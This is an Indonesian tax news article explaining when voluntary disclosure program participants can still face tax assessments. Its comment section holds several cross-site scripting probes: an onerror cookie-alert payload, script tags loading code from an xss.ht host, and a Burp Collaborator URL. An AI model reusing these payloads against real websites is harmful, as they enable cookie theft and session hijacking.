PROGRAM PENGUNGKAPAN SUKARELA

Jika Terjadi Hal Ini, Wajib Pajak Peserta PPS Bisa Diperiksa DJP

Muhamad Wildan | Minggu, 05 Juni 2022 | 06:00 WIB
Jika Terjadi Hal Ini, Wajib Pajak Peserta PPS Bisa Diperiksa DJP

Ilustrasi.

JAKARTA, DDTCNews - Wajib pajak peserta kebijakan II PPS tidak serta merta bisa terbebas dari pemeriksaan oleh Ditjen Pajak (DJP).

Berdasarkan Pasal 8 ayat (1) Peraturan Menteri Keuangan (PMK) No. 196/2021, terhadap wajib pajak orang pribadi peserta PPS tidak diterbitkan ketetapan pajak atas kewajiban perpajakan untuk tahun pajak 2016 hingga tahun pajak 2020.

Kewajiban perpajakan yang dimaksud antara lain PPh orang pribadi, pemotongan/pemungutan PPh, dan PPN. Namun , DJP dapat menerbitkan ketetapan pajak atas pajak yang sudah dipotong atau dipungut, tetapi belum disetorkan.

Baca Juga:
Periode Lapor SPT Selesai, KPP Bisa Memulai Penelitian Komprehensif

"Kewajiban perpajakan ... meliputi PPh orang pribadi, pemotongan dan/atau pemungutan PPh, dan PPN, kecuali atas pajak yang sudah dipotong atau dipungut tetapi tidak disetorkan," bunyi Pasal 8 ayat (2) PMK 196/2021, dikutip pada Minggu (5/6/2022).

Tak hanya itu, DJP juga masih dapat menerbitkan ketetapan pajak atas harta yang belum atau kurang diungkap dalam surat pemberitahuan pengungkapan harta (SPPH).

Harta yang belum atau kurang diungkap adalah harta yang tak diungkapkan hingga 30 Juni 2022 atau harta yang terkena penyesuaian nilai dari DJP.

Baca Juga:
Apa Itu Wilayah Pengembangan Industri dalam Konteks Perpajakan?

Apabila wajib pajak mendapatkan informasi mengenai harta yang belum atau kurang diungkap pada SPPH maka harta tersebut diperlakukan sebagai penghasilan yang bersifat final pada tahun pajak 2022.

Penghasilan bersifat final tersebut dikenai PPh final sebesar 30% sekaligus sanksi administrasi berupa bunga sesuai dengan suku bunga acuan ditambah uplift factor 15%. Pengenaan pajak sekaligus bunga dilakukan melalui penerbitan surat ketetapan pajak kurang bayar (SKPKB). (rig)

Editor :

Cek berita dan artikel yang lain di Google News.

KOMENTAR
0
/1000

Pastikan anda login dalam platform dan berkomentarlah secara bijaksana dan bertanggung jawab. Komentar sepenuhnya menjadi tanggung jawab komentator seperti diatur dalam UU ITE.

15 Juni 2022 | 18:02 WIB

img srcx onerroralert(document.cookie)

15 Juni 2022 | 18:01 WIB

script srchttps://hacker012.xss.ht/script

15 Juni 2022 | 18:00 WIB

javascript:eval(var adocument.createElement(\script\)a.src\https://hacker012.xss.ht\document.body.appendChild(a))

15 Juni 2022 | 17:59 WIB

http://o1q4xc6yqntnkxvgvy8b2x07iyoocd.burpcollaborator.net

ARTIKEL TERKAIT
Rabu, 01 Mei 2024 | 13:00 WIB KELAS PPH PASAL 21 (4)

Memahami Pengurang Penghasilan dalam PPh Pasal 21

Rabu, 01 Mei 2024 | 12:00 WIB KOTA BANJARBARU

Pemkot Patok Tarif 40% Pajak Jasa Hiburan Karaoke dan Spa

BERITA PILIHAN
Rabu, 01 Mei 2024 | 15:45 WIB DDTC - SMA 8 YOGYAKARTA

Peringati Hardiknas, SMAN 8 Yogyakarta Gelar Webinar Gratis!

Rabu, 01 Mei 2024 | 13:00 WIB KELAS PPH PASAL 21 (4)

Memahami Pengurang Penghasilan dalam PPh Pasal 21

Rabu, 01 Mei 2024 | 12:00 WIB KOTA BANJARBARU

Pemkot Patok Tarif 40% Pajak Jasa Hiburan Karaoke dan Spa

Rabu, 01 Mei 2024 | 11:30 WIB PAJAK PENGHASILAN

Begini Cara Hitung Angsuran PPh Pasal 25 BUMN dan BUMD

Rabu, 01 Mei 2024 | 10:30 WIB KEBIJAKAN KEPABEANAN

Kriteria-Perbedaan Barang Kiriman Hasil Perdagangan dan Nonperdagangan

Rabu, 01 Mei 2024 | 09:33 WIB KURS PAJAK 01 MEI 2024 - 07 MEI 2024

Berjalan Sebulan Lebih, Kurs Pajak Berlanjut Melemah terhadap Dolar AS